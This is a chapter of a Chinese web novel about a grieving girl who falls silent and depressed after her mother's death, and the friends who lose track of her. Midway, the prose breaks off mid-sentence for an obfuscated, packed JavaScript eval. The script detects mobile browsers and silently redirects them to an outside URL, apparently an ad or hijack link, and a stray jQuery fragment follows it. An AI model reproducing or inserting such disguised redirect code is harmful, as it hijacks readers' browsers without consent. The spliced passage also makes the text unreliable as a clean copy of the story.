44. 第 44 章
作品:《无限沉沦》 第二天一早,赵天歌吃着早饭,问蒋佑深,“你昨晚有没有听到街道上有什么声音?”
蒋佑深摇了摇头。
赵天歌纳闷,“可是我昨晚确实听到了什么人在哭,好像还是个男的。”
“男的?”蒋佑深有些惊讶。
“妈,您确定不是做梦?”
“不是,肯定不是,做梦不做梦我还是能分清的。”
陈近南早上没有碰到李安安,课间休息时,去了趟明志楼,想问问李安安家里人都回来了没,问了一班的同学才知道李安安今天没来学校,他又去找了钟黎。
“安安没来学校?”
钟黎也是一脸的惊讶,前天李安安还和她聊天说姥姥姥爷马上就要回来了。
“你等下,我给她打个电话。”
“我都打了,没人接。”陈近南拧着双眉,表情看起来不太好。
钟黎走到他面前,“没事的,今天下午再看看,说不定是她家里人回来了,好几天没见偷懒一早上呢。”
钟黎这么解释倒也能说的过去,毕竟这几天李安安思念亲人之情可是日日表现在脸上,挂在嘴上。
李令辞在守在病床边,时不时起身给李安安用棉签润润唇,医生走过来拉开帘子,“还没醒?”
李令辞摇了摇头。
“不应该啊。”
霍应弦看着眼前这张熟悉的面孔,又看了眼一旁双眼肿胀的男人,“你是她父亲?”
“是的。”
霍应弦又给李安安检查了一番,突然想起什么,“你说她是受刺激晕倒的?方便问一下什么刺激吗?”
李令辞表情一滞,沉默半响开口道:“她妈妈去世了。”
霍应弦心头一惊,再次转头看向李安安时,才发现她连昏迷中都在拧着眉,显然精神受到的刺激还在,潜意识不愿醒过来,这件事本身太痛苦,身体在发出逃避的信号。
“那这一时半会还真不一定醒。”
霍应弦叹了口气,“你要不想住院,可以带她回去,但是心理疏导工作要重视。”
李令辞连连点头。
李安安是在第三日凌晨醒过来的,看着沙发上躺着男人,她喊了两声,却发现怎么都发不出声音,用手敲了两下柜子,李令辞惊醒过来,看到李安安醒了,起身太猛,整个人一个趔趄向前栽去,在李安安惊恐的眼神中,稳稳地撑在了病床边,“宝贝,你醒了?感觉怎么样了?”
李安安不说话,只是目不转睛地看他,良久指了指自己的嗓子,喊了两声,没有声音,李令辞连忙安慰她,“没事的,没事的,不怕,爸爸在呢,爸爸在呢。”
翌日一早,霍应弦给出的诊断是,刺激太大引起的声带损伤,是一种暂时性发音障碍。
给李安安做了个喉镜检查,断定喉咙没有问题,霍应弦建议,李安安这种情况要及时进行心理干预,否则可能会越来越严重。
陈近南在李安安家门口守了了两天,书屋门紧闭着,李安安的电话一直打不通,他给她发了消息,她一直没有回他,晚上的时候钟黎和蒋佑深也来了,这几日他们三个轮番过来看她回来了没有,钟黎给李安安打了十几通电话,隐隐感觉到一种不对劲,不过看着陈近南一脸倔强的样子,她没有开口。
万一她的直觉不准呢?
直到晚上十点多,其他两人都走了,陈近南依旧坐在书屋门口等着,等着等着他突然想哭,这是他第一次发现自己是这么害怕李安安突然消失。
眼泪顺着眼角落下的时候,陈近南恨自己不争气,转头将眼睛在校服裤子上蹭了蹭,抬起头来时,看到了缓缓驶过来的轿车,他定睛一看,看到了副驾驶上坐着的李安安,连忙起身朝着车子冲过来,李令辞看着这个跟着他车跑的男生,缓缓在书屋门口停下,回头看了眼后座上的还放着的三个骨灰罐子,陈柯已经联系好了墓地,明天就得让他们入土为安。
他看向窗外盯着李安安看的男生,打开车门下了车,陈近南立即走上前,李令辞疑惑看他,“你是?”
陈近南看着眼前这个陌生男人说:“叔叔,您好,我是李安安的朋友。”
李令辞“哦”了一声,打开副驾驶车门,李安安还睡着,他抱起她,陈近南焦急地盯着李安安,“叔叔,她怎么了?”
李令辞并不想多说什么,“她生病了,谢谢你的关心,只是她现在需要静养,你先回吧。”
陈近南还想说些什么,但李令辞已经抱着李安安走了进去。
他愣在原地,心里有好多疑惑,也有好多担心。
脑袋里有十万个为什么,【李安安这两天发生了什么?】
【怎么突然变成这样?】
……
只是他还没有想到具体原因,再次去书屋时,书屋门前已经上了大锁,他去找了廖仲华,才得知李安安已经转学了。提起李安安,廖仲华也是深深叹了口气,这么好的苗子,怎么说转学就转学?
孟长生说起李安安进圣远的五万块钱奖励时,李令辞眼都没眨一下,要了卡号,给秘书打了个电话,财务那边直接打了五万块。
孟长生是一句话也说不出来。
陈近南失神地回到教室,他怎么都不相信,这才几天时间,怎么李安安突然就转学了,他难受极了,整日给李安安发消息,请求她回自己消息。
钟黎知道李安安转学,压根不相信,直接跑到书屋,看着门前的锁链,使劲砸着门,大声叫着李安安,可是只有阵阵回声传来,哪里有李安安的声音。
钟黎难过地坐在书屋前,想着是不是李安安遇到了和自己差不多的事情,要是张闯敢对李安安怎么样,她绝对会找张闯拼命。
想到这里,她给张闯打了个电话,那头接到她电话,似是很意外,电话里张闯的声音懒散,“找我什么事?”
钟黎使劲擦着眼泪,口气却恶狠狠地说:“张闯,你要是对李安安做了什么,我做鬼也不会放过你!我一定会将你送到监狱里。”
张闯收起玩世不恭,语气变的凶狠:“什么李安安,李平平的,你说什么?老子都不认识她,老子做什么?”
张闯因为被误会语气很不爽,“钟黎,你他妈别把什么屎盆子都往老子身上扣,我告诉你,老子敢作敢当,没做过的事情老子也不会认。”
那头还在说着什么,钟黎直接挂了电话。
她有些无力地坐了回去,【李安安,你到底发生了什么?】
【你到底怎么了?】
李安安和陆薇像一阵风般来的柳巷街,又什么也没留下般了无痕迹地消失了。
后来陈近南他们才知道,老年人剧团里有消息传出,说李安安的姥姥姥爷去世了,他们的女儿去桐县的路上发生车祸也走了。
老人们感慨好好的一个家说散就散了,只剩下一个可怜的外孙女,说起那孩子大家都忍不住同情。
陈明先在厂里也听到了陆薇去世的消息,整个人难受得不行,他和陆薇算是柳巷街里一起长大的,陆薇从小就学习好,好了个好大学,嫁到宁城,他还记得前年在巷子见到陆薇时的场景,那么好的一个人,怎么就不在了呢?
陈明先下班回到家里,一进门就被坐在客厅的陈近南吓了一跳,黑漆漆的也没有开灯,他将灯打开,看到陈近南快速抹了下眼泪,他叹了口气坐在他边上,“我知道你难过,想哭就哭吧。”
陈近南梗着脖子,硬是没让眼泪在陈明先面前掉下,只是突然回头问了句,“爸,你说我和李安安以后还能见到吗?”
陈明先以自己四十多年的人生经验来看,有些人一别或许就是一辈子,可是看到陈近南脸上的期待,他缓了缓语气,道:“只要有缘分,总是会相遇的。”
陈近南红着眼睛说:“真的吗?”
“真的,你好好学,以后或许还有机会。”
知子莫若父,陈近南对李安安有着什么样的心思,陈明先怎么可能不知道,起初的时候,他觉得陈近南青春期,有这种心思很正常,或许以后会喜欢个适合他的女孩子。可是这两年,看着他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138792|162583||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
铆足了劲地学,他才渐渐发现陈近南对李安安好像不是自己想的那么简单,这小子在李安安身上心重着呢。
但又一想,人的命,谁知道呢?
说不定呢?
至少目前看着,陈近南确实变得越来越好了。
偌大的临城,忽然少了个李安安,陈近南每天放学没有了期待,自行车棚再也等不到李安安,再也看不到李安安。这段时间,他不知道在深夜里崩溃了多少次,看着桌上两个人唯一的合照,又翻看着手机里那些偷拍到的李安安,各种模样的,可就是不像他亲眼看到她的那种感觉。
高二开学后,林思予发现陈近南不再在课间时往明志楼跑了,奥,对了,他们现在搬到了明志楼,准确说陈近南不往哲思楼跑了。后来挺久她才知道李安安转学了,也是同一时间发现了陈近南沉默的原因。
钟黎和蒋佑深进入紧张的高三,没了李安安,钟黎的生活好像又回到了从前,只是现在的她更加成熟,不再会因为没有朋友,而感到自卑,感到不合群。
相反,她现在距离自己的目标越来越近,越忙碌时间过的也愈发快。
在兵荒马乱的六月里,钟黎和蒋佑深参加了高考,出考场的那天下午,临城罕见地下起了瓢泼大雨,雨流如柱。
这场大雨浇灌着学子们激动燥热的内心,钟黎在栏杆处久久伫立,伸出手任凭雨水打湿胳膊,【李安安,你应该也考完了吧】
彼时的宁城,李安安坐着轮椅,李令辞请的复建家庭医生刚刚到,看到李安安呆呆发愣的小脸,脚步轻轻走上前,俯身在她耳边温柔说:“安安,在看什么呢?”
李安安笨拙地伸手,像个小孩子般对着康复师指着那个方向,顺着李安安的视线看去,是一只在草地上打着滚闹腾的小萨摩耶,白胖胖的身子灵活极了。
季诗蹲下身,温柔地抚摸着李安安的小脸,“安安是想养一只小狗吗?”
李安安摇了摇头,她不要任何属于她的东西。
看着李安安一瞬间失落下去的神情,季诗道:“我们开始今天的训练吧。”
季诗推着她来到一楼训练区域,这一年的时间,李令辞买了好些仪器设备,各种各样的。
李安安回来后,李令辞就给她办了入学,谁知上了不到两个月,她就开始走不了路,医院诊断的结果是重度抑郁,她根本没办法集中精力听课,每天一闭眼一睁眼,眼前全是陆薇的样子,哭的时候怕爷爷奶奶和李令辞看到,所以在大家都以为她回到宁城慢慢恢复时,才发觉她已经病得不轻。
这一年多,她一直时好时坏,有时会正吃饭着突然大哭,惹的老两口跟着流泪,李令辞工作忙,但他已经尽可能的推掉一些应酬,这一年按时下班的次数比之前好几年加起来都多。
可是李安安的状态还是不好,恢复得很慢,季诗是别人给他介绍的,宁城中心医院精神科资深主任医师,耶鲁大学精神病学博士,自己还开了间心理咨询室,李令辞找到她时,她提出要先见见病人,在见到李安安的第一面,她当即就答应了下来,纵使这会影响她周末来店咨询的病人,但她还是答应了。
经过这段时间的CBT治疗,李安安情绪状态倒是稳定了不少,现阶段尝试着让李安安建立信心,定期进行适度运动训练。
李令辞买的这些器械比她咨询室里的都齐全,显然李安安在家里训练已经足够了。
六月中旬,高考成绩出来,钟黎635分考进海大脑神经与生命科学专业,蒋佑深648如愿进入港大经济专业。
日子过得飞快,陈近南也迎来了自己枯燥而忙碌的高三生活。
这两年的时间,他一刻也不让自己休息,不是参加各种竞赛,就是埋头复习。
有一次,竞赛的地点又是宁大,凌晨十二点的街头,陈近南像个不知疲惫的机器,疯狂穿梭在宁城的大街小巷,企图和李安安相遇一次。然而老天爷并没有可怜他,尽管走的脚磨出了水泡,水泡又被磨破了,百分之零点零零零一的概率也没有发生。